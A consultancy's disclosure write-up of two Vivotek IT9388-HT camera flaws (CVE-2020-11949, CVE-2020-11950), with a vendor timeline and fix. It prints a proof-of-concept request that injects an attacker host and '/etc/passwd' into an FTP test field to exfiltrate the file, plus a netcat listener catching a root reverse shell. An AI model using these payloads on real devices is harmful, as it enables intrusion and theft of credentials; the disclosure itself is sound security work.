Author: Mike Manzotti – Senior Consultant
In a recent security engagement Vivotek Camera IT9388-HT (firmware version: 0100p) was found to be vulnerable to arbitrary file download (CVE-2020-11949) and remote command execution (CVE-2020-11950). Vivotek Camera IT9388-HT is a weatherproof network camera for surveillance and CCTV networks which comes with motion, tamper detection and infrared illumination. Under the hood, it’s a Linux system based on the ARM architecture and the configuration settings are made via a web interface, which is pretty common for an IoT (Internet of things) device.
Arbitrary File Download: CVE-2020-11949
The Vivotek camera allows an authenticated user to schedule tasks which can be triggered at a certain time or when an event happens via the motion or tamper detection controls. The scheduled tasks can be created via the web interface or by uploading a script file. The web interface allows the user to specify a system log file and an external FTP server, and then permits the user to test the configuration by sending a test file to the specified FTP server. However, a malicious user can force the camera to send any local file to a malicious user’s FTP server.
As a proof of concept example, the following request forces the camera to send the “/etc/passwd” file to the attacker’s FTP server:
POST http://<CAMERA_IP>/cgi-bin/admin/testserver.cgi
type=ftp&address=<ATTACKER_IP>+.+/etc/passwd+#&username=anonymous&port=21&sslmode=&passive=1&url=&location=ls&senderemail=&recipientemail=&workgroup=&groupidx=0
The following output shows the file was successfully received by the attacker’s FTP server:
$ python -m pyftpdlib -p 21 -w
[I 2020-02-18 22:24:07] [MASKED]:58474-[] FTP session opened (connect)
[I 2020-02-18 22:24:07] [MASKED]::58474-[anonymous] USER 'anonymous' logged in.
[I 2020-02-18 22:24:07] [MASKED]::58474-[anonymous] CWD /root/Scans 250
[I 2020-02-18 22:24:07] [MASKED]::58474-[anonymous] STOR /root/Scans/passwd completed=1 bytes=234 seconds=0.012
[I 2020-02-18 22:24:07] [MASKED]:14:58474-[anonymous] FTP session closed (disconnect).
^C[I 2020-02-18 22:24:10] received interrupt signal
[I 2020-02-18 22:24:10] >>> shutting down FTP server, 1 socket(s), pid=452478 <<<
With this vulnerability an attacker could gain access to the “/etc/passwd” file of the camera containing password hashes:
Limitations
An attacker would need to reach the Vivotek camera’s web interface and have authenticated access.
Below is proof of concept video showing the exploitation process:
Remote Command Execution: CVE-2020-11950
The Vivotek camera web interface allows a user to create scheduled tasks as discussed previously. The scheduled tasks can be created via the web interface or uploading a script file. However, a malicious web user can abuse the upload functionality to upload a script file which, once triggered, will force the camera to execute operating system commands.
As a proof of concept example, the following script file connects to a specified server and spawns a remote command and control session via “sh”:
As soon as the file script is uploaded, the attacker can interact with the generated session as shown below:
$ nc -lvp 80
listening on [any] 80 ...
[MASKED]: inverse host lookup failed: Unknown host
connect to [MASKED] from (UNKNOWN) [MASKED] 45179
id
uid=0(root) gid=0(root)
Limitations
An attacker would need to reach the Vivotek camera’s web interface and have authenticated access.
Below is proof of concept video showing the exploitation process:
Mitigation
The vulnerabilities have been disclosed with the vendor who has released a new firmware version 1.2001.13.01a that fixes both issues. It’s worth noting that Vivotek were very helpful and responsive during our communication and were keen to address these vulnerabilities quickly. Below is the vulnerability disclosure timeline:
Date
Action
03/03/2020
Details of both vulnerabilities have been emailed to the vendor at [email protected].
04/03/2020
Vendor response acknowledged the vulnerabilities and an internal ticket was raised.
12/03/2020
Dionach asked for an update.
13/03/2020
Vendor said they were working on a firmware update.
06/04/2020
Vendor confirmed that the new firmware will be ready for testing on the week commencing 17/03.
20/04/2020
Vendor provided the new firmware. Dionach confirmed the vulnerabilities are now fixed.
21/04/2020
CVE numbers have been allocated. Vendor stated that in middle of June all cameras firmware will be released.
CVE-2020-11949 and CVE-2020-11950 have been publicly disclosed
Find out how we can help with your cyber challenge
Please enter your contact details using the form below for a free, no obligation, quote and we will get back to you as soon as possible. Alternatively, you can email us directly at [email protected]